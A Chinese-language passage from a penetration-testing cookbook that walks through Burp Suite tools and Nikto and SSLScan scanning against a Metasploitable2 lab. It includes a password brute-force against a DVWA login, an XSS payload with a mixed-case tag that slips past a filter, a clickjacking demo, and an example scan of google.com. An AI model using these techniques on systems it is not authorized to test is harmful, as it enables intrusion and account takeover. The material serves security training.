1. 为了验证一切是否正常工作，尝试使用 Firefox 浏览器浏览一个网站，如下图所示：

1. 如果你的配置正确，你应该能看到浏览器尝试连接，但浏览器中不会显示任何内容。这是因为浏览器发送的请求被代理拦截了。代理拦截是 Burp Suite 中默认的配置。为了确认请求是否成功捕获，请返回到 Burp Suite 的代理界面，如下所示：

1. 在这里，你应该能看到捕获到的请求。为了继续使用浏览器进行其他操作，你可以通过点击“拦截已开启”按钮将其禁用，或者将浏览器中的代理设置更改回“使用系统代理设置”选项，仅在使用 Burp 时使用手动代理设置。

它是如何工作的…

在 Burp Suite 中进行的初始配置会在 TCP 8080上创建一个监听端口。Burp Suite 使用这个端口来拦截所有的网页流量，并接收返回的响应流量。通过将 IceWeasel 浏览器的代理配置指向这个端口，我们表明浏览器中生成的所有流量都应该通过 Burp Suite Proxy。得益于 Burp 提供的功能，我们现在可以任意修改途中的流量。

使用 Burp Suite 定义 Web 应用目标

在执行渗透测试时，确保您的攻击只针对预定系统非常重要。攻击无意目标可能会导致法律责任。为了最小化这种风险，定义 Burp Suite 中的评估范围至关重要。在这个指南中，我们将讨论如何使用 Burp Suite 代理定义评估范围内的目标。

准备工作

要使用 Burp Suite 执行 web 应用程序分析，您需要有一个远程系统运行一个或多个 web 应用程序。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口 80 上运行着多个预安装的易受攻击的 web 应用程序。有关设置 Metasploitable2 的更多信息，请参考 第一章 中的 安装 Metasploitable2 配方，入门指南。此外，您的 web 浏览器需要配置为将 web 流量通过 Burp Suite 的本地实例传输。

如何进行…

接下来的步骤将指导您使用 Burp Suite 进行 web 应用程序分析：

1. Burp Suite 界面最左侧的标签是 Target（目标）。该标签下有两个子标签，分别是 Site map（站点地图）和 Scope（范围）。Site map 标签会随着通过代理的 web 浏览器访问内容而自动填充。Scope 标签允许用户配置站点和站点内容，以便将其包括或排除在评估范围之外。

2. 要将一个新站点添加到评估范围中，请点击“包括在范围内”表格下方的“添加”按钮。请查看以下截图：

1. 添加范围内的内容可以是一个 IP 地址范围，也可以是一个单独的文件。协议选项有一个下拉菜单，包含 ANY、HTTP 或 HTTPS 值。Host 或 IP 范围字段可以包括单一主机名、单一 IP 或 IP 地址范围。此外，Port 和 File 字段也有文本框。可以将这些字段留空，以限制范围的具体性。这些字段应使用正则表达式进行填写。

2. 在提供的示例中，插入符号用于打开每个正则表达式，美元符号用于关闭它们，反斜杠用于转义 IP 地址中句点的特殊含义。本书并不涉及正则表达式的使用，但互联网上有许多资源可以公开获取，以解释其用法。一个很好的网络入门教程是您可以用来熟悉正则表达式的 www.regular-expressions.info/。

它是如何工作的…

正则表达式逻辑上定义了何种条件下，给定的主机、端口或文件可被视为在范围内。定义 Burp Suite 中的评估范围会影响其与 web 内容交互时的操作方式。Burp Suite 的配置将决定哪些操作可以或不能在定义的范围内或范围外的对象上执行。

使用 Burp Suite 蜘蛛抓取

要有效地攻击 Web 应用程序，了解服务器上所有托管的 Web 内容是非常重要的。可以使用多种技术来发现 Web 应用程序的完整攻击面。一个可以快速识别目标 Web 页面中引用的关联内容的工具是蜘蛛工具。在本食谱中，我们将讨论如何使用 Burp Suite 来蜘蛛抓取 Web，识别范围内的内容。

准备工作

要使用 Burp Suite 执行针对目标的 Web 应用程序分析，您需要有一台运行一个或多个 Web 应用程序的远程系统。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 上安装了多个预装的易受攻击的 Web 应用程序，运行在 TCP 端口80上。有关设置 Metasploitable2 的更多信息，请参见第一章中的安装 Metasploitable2食谱，快速入门部分。此外，您的 Web 浏览器需要配置为通过 Burp Suite 的本地实例代理 Web 流量。

如何操作…

让我们使用Burp Suite Spider进行 Web 应用攻击：

1. 要开始自动抓取您之前定义范围的 Web 内容，请点击屏幕顶部的蜘蛛选项卡。下面会有两个额外的选项卡，分别是控制和选项。

2. 选项选项卡允许用户定义蜘蛛抓取执行的配置，包括详细设置、深度、流量限制、表单提交等。考虑自动蜘蛛的配置非常重要，因为它会向所有在范围内的网页内容发送请求，这可能会对某些网页内容造成干扰甚至损害。

3. 配置完成后，可以选择控制选项卡开始自动蜘蛛抓取。默认情况下，蜘蛛选项卡是暂停的。点击指示按钮即可启动蜘蛛抓取。随着蜘蛛抓取的进展，目标选项卡下的站点地图将会自动更新。请查看以下截图：

1. 根据定义的配置，Burp Suite 可能会要求您与它在蜘蛛抓取过程中遇到的任何表单进行交互。为任何识别的表单输入参数，或者通过选择“忽略表单”按钮跳过表单，如下截图所示：

1. 或者，您也可以通过右键点击站点地图选项卡中的任何特定位置，然后点击“蜘蛛抓取此分支”来从该位置开始抓取。这样会递归地抓取所选对象及其包含的所有文件或目录。请查看以下截图：

它是如何工作的…

Burp Suite Spider 工具通过解析所有已知的 HTML 内容并提取到其他 Web 内容的链接来工作。然后分析这些链接内容，发现其中的更多链接内容。这个过程会无限进行，直到达到可用链接内容的数量、指定的深度层数以及处理额外请求的并发线程数为止。

使用 Burp Suite Proxy

尽管 Burp Suite 提供了许多工具，其主要功能是作为一个拦截代理。这意味着 Burp Suite 能够捕获请求和响应，并在将它们转发到目标之前进行修改。在本配方中，我们将讨论如何使用 Burp Suite Proxy 拦截和/或记录请求。

准备工作

要使用 Burp Suite 对目标执行 Web 应用分析，您需要一个运行着一个或多个 Web 应用的远程系统。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口 80 上运行着几个预装的易受攻击的 Web 应用。有关设置 Metasploitable2 的更多信息，请参阅 第一章 中的 安装 Metasploitable2 配方，入门部分。此外，您的 Web 浏览器需要配置为通过本地实例的 Burp Suite 代理 Web 流量。

如何操作…

以下步骤将指导您使用 Burp Suite Proxy 拦截记录请求：

1. Burp Suite Proxy 功能可以在被动或拦截模式下使用。如果拦截被禁用，所有请求和响应将仅在 HTTP 历史记录选项卡中记录。这些记录可以通过选项卡浏览，并通过从列表中选择，可以查看任何请求和/或响应的详细信息，如下图所示：

1. 另外，也可以点击 Intercept 按钮来捕获传输到目标服务器的流量。这些请求可以在 Proxy 选项卡中进行修改，然后转发到目标或丢弃。

2. 通过选择选项卡，可以重新配置拦截代理，定义拦截的请求类型，或甚至启用拦截响应，以便在它们呈现在浏览器中之前进行处理，如下图所示：

它是如何工作的…

Burp Suite Proxy 可以拦截或被动地记录来自附加浏览器的流量，因为它被逻辑配置为位于浏览器与任何远程设备之间。浏览器被配置为将所有请求发送到 Burp Proxy，然后 Proxy 将它们转发到任何外部主机。由于这种配置，Burp 可以在请求和响应传输过程中进行捕获，或者它可以记录所有进出客户端浏览器的通信。

使用 Burp Suite 进行 Web 应用分析

Burp Suite 还提供了多个可以用于基本信息收集和目标概况分析的工具。这些工具被称为交互工具。在本节中，我们将讨论如何使用 Burp Suite 中的辅助交互工具来收集或组织目标信息。

准备工作

要使用 Burp Suite 对目标进行 Web 应用程序分析，您需要一个远程系统，该系统运行着一个或多个 Web 应用程序。在提供的示例中，使用 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口 80 上运行多个预安装的漏洞 Web 应用程序。有关设置 Metasploitable2 的更多信息，请参考第一章的 安装 Metasploitable2 部分，入门指南。此外，您的 Web 浏览器需要配置为通过本地的 Burp Suite 实例代理 Web 流量。

如何进行…

让我们使用 Burp Suite 中的辅助交互工具收集或组织目标信息：

1. 可以通过右键单击 Site map 选项卡中的任何对象，然后向下滚动到展开菜单并选择所需的工具来访问交互工具。默认情况下，选定的交互工具将递归地针对所选对象，涵盖其中所有文件和目录。请参考以下屏幕截图：

1. 我们将按照菜单中出现的顺序介绍每个交互工具。为了便于组织，我认为最好按照以下要点进行介绍：

   • 搜索：此工具可用于搜索术语、短语或正则表达式。它将返回包含查询术语的所有 HTTP 请求或响应。对于每个返回的条目，查询的术语将在请求或响应中被突出显示。

   • 查找评论：此工具将搜索指定网页内容中的所有 JavaScript、HTML 以及其他代码源，并定位所有评论。这些评论也可以导出以供以后查看。有时这非常有用，因为一些开发人员通常会在他们编写的代码的注释中留下敏感信息。

   • 查找脚本：此工具将识别 Web 内容中的所有客户端和服务器端脚本。

   • 查找引用：此工具将解析所有 HTML 内容并识别其他引用的内容。

   • 分析目标：此工具将识别指定网页内容中的所有动态内容、静态内容和参数。这对于组织测试具有大量参数和/或动态内容的 Web 应用程序尤其有用。

   • 发现内容：此工具可通过循环遍历词汇表和定义的文件扩展名列表来暴力破解目录和文件名。

   • 安排任务：此工具允许用户定义任务的开始和结束时间，并在 Burp Suite 中启动和停止各种任务。

   • 模拟手动测试：此工具提供了一种绝妙的方式，能让你看起来像是正在对 Web 应用程序进行手动分析，实际上你可能已经去喝咖啡和吃甜甜圈了。这个工具除了迷惑老板外，完全没有实际功能。

它是如何工作的…

Burp Suite 的参与工具以多种方式工作，具体取决于使用的工具。许多参与工具会执行搜索，并检查已收到的响应以查找特定类型的内容。Discover content 工具通过循环遍历定义的词汇列表，提供了通过暴力破解文件和目录名称来发现新的 Web 内容的功能。

使用 Burp Suite Web 应用扫描器

Burp Suite 也可以作为有效的 Web 应用漏洞扫描器。此功能可用于执行被动分析和主动扫描。在本教程中，我们将讨论如何使用 Burp Suite 执行被动和主动漏洞扫描。

准备工作

要使用 Burp Suite 对目标执行 Web 应用分析，你需要有一个远程系统，运行着一个或多个 Web 应用程序。在提供的示例中，使用了一个 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口 80 上运行着多个预装的漏洞 Web 应用程序。有关设置 Metasploitable2 的更多信息，请参阅 第一章 中的 安装 Metasploitable2 部分，入门指南。

此外，你的网页浏览器需要配置为通过本地 Burp Suite 实例代理网页流量。

如何操作…

使用 Burp Suite 执行被动和主动漏洞扫描：

1. 默认情况下，Burp Suite 将在连接到代理时被动扫描所有通过浏览器访问的在范围内的网页内容。被动扫描一词是指 Burp Suite 被动观察与服务器之间的请求和响应，并检查这些内容是否有漏洞的证据。

2. 被动扫描不涉及注入任何探针或其他尝试确认怀疑漏洞的行为。请看以下截图：

1. 主动扫描可以通过右键单击“站点地图”选项卡中的任何对象，或右键单击“代理”选项卡下的 HTTP 历史记录选项卡中的任何请求，然后选择“主动扫描此分支”或“执行主动扫描”来进行，具体操作如以下截图所示：

1. 选择“主动扫描此分支”后，你将看到可以选择的扫描选项。选择你的偏好，点击“下一步”，然后你将看到一个待扫描内容的列表：

1. 所有主动扫描的结果可以通过选择扫描器下的“扫描队列”标签进行查看。双击任何特定的扫描条目，你可以查看与该扫描相关的特定发现，如下面的截图所示：

1. 主动扫描配置可以通过选择“选项”标签来操作。在这里，你可以定义执行的测试类型、执行速度以及测试的全面性。需要注意的是，扫描器将进行的测试类型：

它是如何工作的…

Burp Suite 的被动扫描器通过评估浏览器与其通信的任何远程服务器之间传输的流量来工作。这对于识别一些显而易见的漏洞非常有用，但不足以验证当前 Web 服务器上存在的许多更为严重的漏洞。主动扫描器通过向请求中识别的参数发送一系列探测来工作。这些探测可以用于识别许多常见的 Web 应用漏洞，如目录遍历、跨站脚本和 SQL 注入。

使用 Burp Suite Intruder

Burp Suite 中的另一个非常有用的工具是 Intruder 功能。此功能允许通过提交大量请求并在请求中操作预定义的有效载荷位置来进行快速攻击。在本章节中，我们将讨论如何使用 Burp Suite Intruder 自动化请求内容的操作。

准备工作

要使用 Burp Suite 对目标执行 Web 应用分析，你需要有一个远程系统运行一个或多个 Web 应用。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 预装了几个脆弱的 Web 应用，并在 TCP 端口 80 上运行。有关设置 Metasploitable2 的更多信息，请参考 第一章中的 安装 Metasploitable2 章节，入门指南。此外，您的 Web 浏览器需要配置为通过本地实例的 Burp Suite 代理 Web 流量。

如何操作…

以下步骤将指导你使用 Burp Suite Intruder 自动化请求内容的操作：

1. 要使用 Burp Suite Intruder，需要从通过拦截获取的传输请求或代理历史记录中发送请求。使用这两种方式中的任何一种，右键点击请求，然后选择“发送到 Intruder”，如下面的截图所示：

1. 在提供的示例中，用户名和密码被输入到 DVWA 的暴力破解应用的登录门户中。发送到 Intruder 后，负载可以通过 Positions 标签进行设置。为了尝试暴力破解管理员账户，唯一需要设置的负载位置是密码参数的值，如下图所示：

1. 一旦定义了负载位置，就可以通过 Payloads 标签配置将要注入的负载。为了执行字典攻击，可以使用自定义字典列表或内置列表。在提供的示例中，使用内置的 Passwords 列表来执行攻击，如下图所示：

1. 配置好攻击后，可以点击屏幕顶部的“Start Attack”按钮。这将快速提交一系列请求，通过将列表中的每个值替换到负载位置。成功的尝试通常可以通过响应的变化来识别。

2. 为了确定是否有请求产生了明显不同的响应，可以通过长度对结果进行排序。可以通过点击“Length”表头来完成此操作。通过按降序对表格进行排序，我们可以发现有一个响应比其他响应更长。

3. 这是与正确密码相关的响应（密码恰好是password）。以下截图展示了这一点。成功的登录尝试将在接下来的步骤中得到进一步确认，讨论了如何使用 Comparer：

工作原理…

Burp Suite Intruder 通过自动化负载操作来工作。它允许用户在请求中指定一个或多个负载位置，并提供大量选项来配置这些负载位置在每次迭代时将如何改变所提供的值。

使用 Burp Suite Comparer

在进行 Web 应用评估时，能够轻松识别 HTTP 请求或响应的变化通常非常重要。Comparer 功能通过提供变化的图形化概览简化了这一过程。在本步骤中，我们将讨论如何使用 Burp Suite Comparer 识别和评估不同的服务器响应。

准备工作

要使用 Burp Suite 执行针对目标的 Web 应用程序分析，您需要一个远程系统，该系统正在运行一个或多个 Web 应用程序。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 上预安装了多个易受攻击的 Web 应用程序，并且运行在 TCP 端口 80 上。有关设置 Metasploitable2 的更多信息，请参阅 第一章 中的 安装 Metasploitable2 章节，入门。此外，您的 Web 浏览器需要配置为通过本地实例的 Burp Suite 代理 Web 流量。

操作方法…

以下步骤将指导您使用 Burp Suite Comparer 识别和评估服务器响应的变化：

1. 对于一个一致响应中任何异常的例外情况，通常都值得进行调查。响应中的变化通常是有效载荷产生某些期望结果的有力迹象。

2. 在之前使用 Burp Suite Intruder 对 DVWA 登录进行暴力破解的演示中，特别有一个有效载荷生成的响应比其他所有响应都要长。

3. 要评估响应的变化，右键点击该事件，然后点击“发送到比较器（响应）”，如下面的截图所示。对其中一个控制示例也应进行相同的操作：

1. 将每个事件发送到 Comparer 后，可以通过选择屏幕顶部的 Comparer 标签来评估它们。确保为项目 1 选择了之前的一个响应，并为项目 2 选择了另一个响应，如下面的截图所示：

1. 在屏幕右下角，有一个选项可以选择比较单词或比较字节。在此特定情况下，选择“单词”选项。通过这样做，我们可以看到响应中修改的部分内容表明登录成功。任何已修改、删除或添加的内容都会在两个响应之间突出显示，并使得视觉比较变得非常容易，如下面的截图所示：

工作原理…

Burp Suite Comparer 通过分析任何两个内容来源之间的差异来工作。这些差异被识别为已被修改、删除或添加的内容。快速隔离内容中的变化对于确定特定操作对 Web 应用程序行为的不同影响是非常有效的。

使用 Burp Suite Repeater

在进行 Web 应用评估时，经常会遇到需要手动测试以利用特定漏洞的情况。捕获每一个响应、修改它，然后转发出去可能会变得非常耗时。Burp Suite 的 Repeater 功能通过允许对单个请求进行一致的操作和提交，而无需每次都在浏览器中重新生成流量，从而简化了这一过程。在本教程中，我们将讨论如何使用 Burp Suite Repeater 执行手动文本审计。

准备工作

要使用 Burp Suite 对目标进行 Web 应用分析，你需要拥有一台运行着一个或多个 Web 应用的远程系统。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口80上运行着多个预安装的易受攻击的 Web 应用程序。有关设置 Metasploitable2 的更多信息，请参阅第一章中的安装 Metasploitable2章节，入门部分。此外，你的 Web 浏览器需要配置为通过 Burp Suite 的本地实例代理 Web 流量。

如何操作……

在以下步骤的帮助下，我们将使用 Burp Suite Repeater 执行手动文本审计：

1. 要使用 Burp Suite Repeater，需要从拦截过程中捕获的请求或代理历史中将请求发送到 Repeater。无论哪种方式，都可以右键点击该请求，然后选择“发送到 Repeater”，如下所示的屏幕截图所示：

1. 在提供的示例中，系统要求用户提供一个名称，并且服务器在 HTML 响应中返回了所提供的输入。为了测试是否存在跨站脚本攻击的可能性，我们应该首先注入一系列常见的攻击字符，如下所示的屏幕截图所示：

1. 在发送一系列字符后，我们可以看到所有字符都出现在 HTML 内容中，并且没有被转义。这是一个非常强烈的指示，表明该功能容易受到跨站脚本攻击。为了测试此漏洞的可利用性，我们可以输入标准的 token 请求 <script>alert('xss')</script>，如下所示的屏幕截图所示：

1. 通过查看返回的 HTML 内容，我们可以看到标记的开头 <script> 标签已从响应中剥离。这很可能表明存在黑名单，禁止在输入中使用 <script> 标签。黑名单的问题在于，它通常可以通过稍微修改输入来绕过。在这种情况下，我们可以尝试通过修改开头标签中的几个字符的大小写来绕过黑名单，如下所示的屏幕截图所示：

1. 通过使用 <ScRiPt> 标签，我们可以看到所施加的限制已被绕过，开闭标签都包含在响应中。这可以通过在浏览器中发出请求来确认，如下图所示：

1. 要在客户端浏览器中评估响应，右键点击请求并选择“浏览器中请求”。这将生成一个 URL，用于在已连接到 Burp Proxy 的浏览器中重新发出请求，如下图所示：

1. 我们可以手动复制提供的 URL 或通过点击复制按钮来复制该 URL。然后可以将此 URL 粘贴到浏览器中，浏览器将发出请求。假设跨站脚本攻击成功，客户端的 JavaScript 代码将在浏览器中渲染，并且屏幕上会出现一个警告框，如下图所示：

工作原理…

Burp Suite Repeater 通过提供基于文本的界面来与 Web 进行交互。Repeater 允许用户直接操作请求，而不是与 web 浏览器交互，这对于测试某些情况非常有用，这些情况的实际 HTML 输出比它在浏览器中的呈现方式更为关键。

使用 Burp Suite Decoder

在处理 web 应用程序流量时，您将经常遇到因混淆或功能性原因而被编码的内容。Burp Suite Decoder 允许根据需要对请求和响应内容进行解码或编码。在本示例中，我们将讨论如何使用 Burp Suite Decoder 对内容进行编码和解码。

准备工作

要使用 Burp Suite 对目标进行 web 应用程序分析，您需要有一个运行着一个或多个 web 应用程序的远程系统。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 已经预装了多个易受攻击的 web 应用程序，并运行在 TCP 端口 80 上。有关如何设置 Metasploitable2 的更多信息，请参考 第一章 中的 安装 Metasploitable2 配方，入门指南。此外，您的 web 浏览器需要配置为通过 Burp Suite 的本地实例代理 web 流量。

如何操作…

让我们使用 Burp Suite Decoder 对内容进行编码和解码：

1. 要将给定值传递给 Burp Suite Decoder，请高亮显示所需的字符串，右键点击它，然后选择发送到解码器。在提供的示例中，Cookie 参数的值被发送到解码器，如下图所示：

1. 通过点击“智能解码”按钮，Burp Suite 会自动识别编码方式为 URL 编码，并在原本输入编码文本的区域下方进行解码，如下图所示：

1. 如果 Burp Suite 无法确定使用的编码类型，可以对多种不同类型的编码进行手动解码，包括 URL、HTML、Base64、ASCII 十六进制等。还可以使用解码器对输入的字符串进行编码，方法是使用“编码为...”功能。

它是如何工作的…

Burp Suite Decoder 提供了一个平台，用于在与 Web 应用程序交互时进行内容的编码和解码。此工具非常有用，因为在 Web 上经常使用多种编码类型来处理和混淆内容。此外，智能解码工具会检查任何给定输入中的已知模式或签名，以确定应用于内容的编码类型，然后对其进行解码。

使用 Burp Suite Sequencer

Web 应用程序的会话通常通过会话 ID 令牌来维护，这些令牌由随机或伪随机值组成。因此，随机性对于这些应用程序的安全性至关重要。在本节中，我们将讨论如何收集生成的值，并使用 Burp Suite Sequencer 测试它们的随机性。

准备开始

要使用 Burp Suite 对目标进行 Web 应用程序分析，您需要有一台运行一个或多个 Web 应用程序的远程系统。在提供的示例中，使用 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口 80 上运行多个预安装的易受攻击的 Web 应用程序。有关如何设置 Metasploitable2 的更多信息，请参考 第一章中的 安装 Metasploitable2 章节，入门指南。此外，您的 Web 浏览器需要配置为通过本地实例的 Burp Suite 代理 Web 流量。

如何执行此操作…

让我们使用 Burp Suite Sequencer 测试生成值的随机性：

1. 要使用 Burp Suite Sequencer，必须向其发送包含 Set-Cookie 头部值或其他伪随机数值的响应进行测试。这可以通过代理选项卡下的 HTTP 历史记录标签发送，也可以通过在浏览器接收响应之前拦截响应发送，如下图所示：

1. Burp 会自动将所有在响应中设置的 Cookie 值填充到 Cookie 下拉菜单中。或者，您可以使用自定义位置字段，然后点击配置按钮，指定响应中的任何位置进行测试，如下图所示：

1. 在定义要测试的值之后，点击“开始实时捕获”按钮。这将开始提交大量请求，以获取定义参数的其他值。在提供的示例中，Burp 将发出大量请求，其中 PHPSESSID 值从请求中剥离。

2. 这将导致服务器为每个请求生成一个新的会话令牌。通过这样做，我们可以获取一组值样本，这些值可以进行 FIPS 测试。这将包括一系列评估生成的伪随机数相关熵的测试。所有这些测试都可以以易于理解的图形格式表示，如下所示的截图所示：

1. 对于高精度和彻底的 FIPS 测试，需要总共 20,000 个值，但也可以用 100 个值进行分析。除了进行实时捕获，手动加载标签页还可以用于上传或粘贴待测试的值列表。

它是如何工作的…

Burp Suite Sequencer 对伪随机数样本进行多种不同的数学评估，试图确定它们生成时所使用的熵源质量。通过发出精心构造的请求，利用实时捕获可以生成样本值，这些请求将导致新的值被分配。通常通过从请求中删除现有的 cookie 值来完成这一操作，以便响应提供一个新的会话令牌，形式为新的Set-Cookie响应头。

使用 Burp Suite 扩展功能

Burp Suite 提供了一种通过 Burp Suite 扩展器扩展工具功能的方法。你可以通过用 Java、Python 或 Ruby 编写自己的扩展，或安装现有的扩展来实现这一点。本节将向你展示如何安装并使用后者。

如果你有兴趣构建自己的扩展，请参考portswigger.net/burp/extender/上的文档。

准备工作

要使用 Burp Suite 对目标进行 Web 应用程序分析，你需要有一台运行着一个或多个 Web 应用程序的远程系统。在提供的示例中，使用 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口80上运行着多个预安装的漏洞 Web 应用程序。有关设置 Metasploitable2 的更多信息，请参考第一章中的安装 Metasploitable2部分，入门指南。此外，你的 Web 浏览器需要配置为通过本地实例的 Burp Suite 代理 Web 流量。

如何操作…

以下步骤将帮助你使用 Metasploitable2 进行 Web 应用程序分析：

1. 要安装 Burp Suite 扩展，首先我们需要进入扩展器标签页并点击 BApp 商店。在这里，有许多可以安装并使用的扩展：

1. 我们将来看看 Logger++扩展。如果我们选择它，我们可以看到它为 Burp 添加的额外功能描述。在这种情况下，该扩展可用于记录 Burp Suite 所有工具发出的请求和响应，并且还提供导出功能。要使用此扩展，我们首先点击“安装”按钮：

1. 安装完成后，您会注意到在 Burp 界面中出现了一个新的标签叫做 Logger++。如果我们点击它并进入选项，我们可以指定是否仅记录范围内的项目以及我们希望它捕获哪些工具。选择“仅范围内项目”：

1. 为了演示 Logger++的功能，我们将点击回目标标签并爬取dvwa目录：

1. 现在，如果我们回到 Logger++标签并点击查看日志，我们可以看到我们的请求。此外，如果我们想将这些请求保存为.csv文件，我们可以从选项界面进行操作：

它是如何工作的…

Burp Suite Extender 使我们能够通过预构建的扩展或利用 Burp Extender API 构建自己的扩展，为 Burp Suite 添加额外的功能和测试。

使用 Burp Suite Clickbandit

Burp Suite Clickbandit 提供了一种工具，帮助识别点击劫持攻击。点击劫持是指攻击者的网页利用透明层。当用户点击页面的某个地方，以为他们正在与看到的内容交互时，实际上他们可能在不知情的情况下点击了这些透明层。Burp 提供了一个很好的工具来帮助发现此类漏洞。

准备工作

要使用 Burp Suite 执行 Web 应用程序分析，您需要有一个远程系统运行一个或多个 Web 应用程序。在提供的示例中，使用 Metasploitable2 实例执行此任务。Metasploitable2 上预装了多个易受攻击的 Web 应用程序，这些应用程序运行在 TCP 端口80上。有关设置 Metasploitable2 的更多信息，请参阅第一章中的安装 Metasploitable2配方，“入门”部分。另外，您的 Web 浏览器需要配置为通过本地实例的 Burp Suite 代理 Web 流量。

如何操作…

以下步骤将指导您使用 Burp Suite Clickbandit 发现点击劫持：

1. 为了发现点击劫持请求，我们首先要查看 Burp Suite Scanner，因为它可以识别潜在易受点击劫持攻击的页面。这些页面通过“可框架响应（潜在的点击劫持）”的问题类型进行标识。在这种情况下，以下页面可能存在漏洞（http://172.16.69.128/mutillidae/framing.php）：

1. 选择相关问题后，我们上移到 Burp 菜单并选择 Burp Clickbandit，如下图所示：

1. Burp 会呈现一个屏幕，描述需要执行的操作，并提供一个按钮，“复制 Clickbandit 到剪贴板”。点击它：

1. 接下来，我们打开浏览器并导航到潜在的易受攻击页面（http://172.16.69.128/mutillidae/framing.php）：

1. 在浏览器中，我们需要从菜单中打开开发者控制台并选择网页控制台：

1. 在页面底部，我们粘贴之前复制的 Clickbandit 代码，并按下Enter键：

1. Clickbandit 将潜在易受攻击的页面嵌入。点击页面内部后，我们可以看到它实际上正在执行点击劫持攻击：

它是如何工作的…

Burp Suite 提供了一个工具，可以将目标网页嵌入并揭示点击劫持请求。

第九章：Web 应用扫描

本章包含以下用于执行 Web 应用程序漏洞扫描的食谱：

• 使用 Nikto 进行 Web 应用扫描

• 使用 SSLScan 进行 SSL/TLS 扫描

• 使用 SSLyze 进行 SSL/TLS 扫描

• 使用 sqlmap 进行 GET 方法 SQL 注入

• 使用 sqlmap 进行 POST 方法 SQL 注入

• 使用 sqlmap 捕获 SQL 注入

• 自动化 CSRF 测试

• 使用 HTTP 流量验证命令注入漏洞

• 使用 ICMP 流量验证命令注入漏洞

介绍

近年来，我们看到越来越多的媒体报道有关大型公司和政府数据泄露的事件，随着安全意识的普及，利用标准外围服务渗透一个组织的网络变得越来越困难。与这些服务相关的已知公开漏洞通常会迅速得到修补，攻击面变得非常小。相反，Web 应用程序通常包含自定义代码，这些代码通常不会像独立供应商的网络服务那样接受相同程度的公共审查。Web 应用程序通常是组织外围的薄弱环节，因此，对这些服务进行适当的扫描和评估至关重要。

在具体讨论每个食谱之前，我们将讨论一些关于 sqlmap 的常见信息。sqlmap 是 Kali Linux 中的一个集成命令行工具，通过自动化整个过程，大大减少了利用 SQL 注入漏洞所需的努力。sqlmap 通过提交一个包含大量已知 SQL 注入查询的请求列表来工作。它经过多年的高度优化，能够根据之前查询的响应智能地修改注入尝试。

使用 Nikto 进行 Web 应用扫描

Nikto 是 Kali Linux 中的一个命令行工具，可以用于评估 Web 应用程序的已知安全问题。Nikto 会通过目标应用程序进行爬取，并发送多个预配置的请求，尝试识别应用程序中可能存在的危险脚本和文件。在本部分中，我们将讨论如何使用 Nikto 对 Web 应用程序进行扫描，并如何解读扫描结果。

准备工作

要使用 Nikto 对目标进行 Web 应用分析，你需要一个远程系统，该系统正在运行一个或多个 Web 应用程序。在提供的示例中，使用 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口80上运行多个预安装的易受攻击的 Web 应用程序。有关设置 Metasploitable2 的更多信息，请参考第一章中的安装 Metasploitable2部分，入门。

如何操作…

让我们使用 Nikto 进行 Web 应用扫描：

1. 运行 Nikto 的语法和使用复杂性主要取决于所扫描应用程序的性质。要查看该工具的用法和语法概览，可以使用 nikto -help 命令。

2. 在第一个提供的示例中，对 google.com 执行了扫描。-host 参数可以用来指定要扫描的目标的主机名值。-port 选项定义了 Web 服务运行的端口。-ssl 选项指示 Nikto 在扫描之前与目标 Web 服务器建立 SSL/TLS 会话，如下所示：

1. 另外，-host 参数也可以用来定义目标系统的 IP 地址值，以供扫描。-nossl 参数可以用来指示 Nikto 不使用任何传输层安全。

2. -vhost 选项可用于指定 HTTP 请求中主机头的值。这在多个虚拟主机名托管在同一 IP 地址上的情况下尤其有用。请看下面的示例：

1. 在下面的示例中，执行了针对 Metasploitable2 系统上托管的 Web 服务的 Nikto 扫描。由于该 Web 服务托管在 TCP 端口 80 上，这是 Nikto 的默认扫描端口，因此没有使用 -port 参数。此外，由于默认情况下，Nikto 不会尝试通过端口 80 进行 SSL/TLS 连接，因此也没有使用 -nossl 参数：

1. Nikto 扫描 Metasploitable2 网络服务的结果显示了一些经常被 Nikto 识别的项目。这些项目包括危险的 HTTP 方法、默认安装文件、暴露的目录列表、敏感信息泄露以及应限制访问的文件。了解这些文件在尝试获取服务器访问权限或识别漏洞时常常非常有用。

工作原理……

Nikto 通过引用 robots.txt 文件、爬取应用程序的表面以及循环检查已知包含敏感信息、易受攻击的内容或因内容和/或功能性质而应限制访问的文件列表，来识别潜在的有趣文件。

使用 SSLScan 进行 SSL/TLS 扫描

SSLScan 是 Kali Linux 中的一个集成命令行工具，可以用来评估远程网络服务的 SSL/TLS 支持的安全性。在本例中，我们将讨论如何对 Web 应用程序运行 SSLScan，并且如何解读和/或处理输出结果。

准备工作

要使用 SSLScan 对目标执行 SSL/TLS 分析，你需要拥有一台运行了启用 SSL 或 TLS 的 Web 服务的远程系统。在提供的示例中，我们使用 Google 和 Metasploitable2 实例的组合来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参阅 第一章中的 安装 Metasploitable2 配方，入门指南。

如何操作…

以下步骤将指导你使用 SSLScan 执行 SSL/TLS 扫描：

1. SSLScan 可以作为一个有效的工具，用于对目标 Web 服务器的 SSL/TLS 配置进行简化分析。要对具有注册域名的 Web 服务器执行基本扫描，只需将域名作为参数传递，如下所示：

1. 执行时，SSLScan 会快速循环通过与目标服务器的连接，并列出接受的加密算法、首选的加密套件和 SSL 证书信息。可以使用 grep 来限制输出为必要信息。在以下示例中，使用 grep 命令仅查看接受的加密算法：

1. 可以将多个 grep 函数通过管道连接在一起，以尽可能限制输出。通过使用多个管道 grep 请求，以下示例中的输出将限制为目标服务接受的 256 位加密算法：

1. SSLScan 提供的一个独特功能是实现 SMTP 中的 STARTTLS 请求。这使得 SSLScan 可以通过使用 --starttls 参数，轻松有效地测试邮件服务的传输层安全性，并指定目标的 IP 地址和端口。

2. 在以下示例中，我们使用 SSLScan 来确定集成在 Metasploitable2 中的 SMTP 服务是否支持任何弱加密算法，并检查其是否存在 Heartbleed 漏洞：

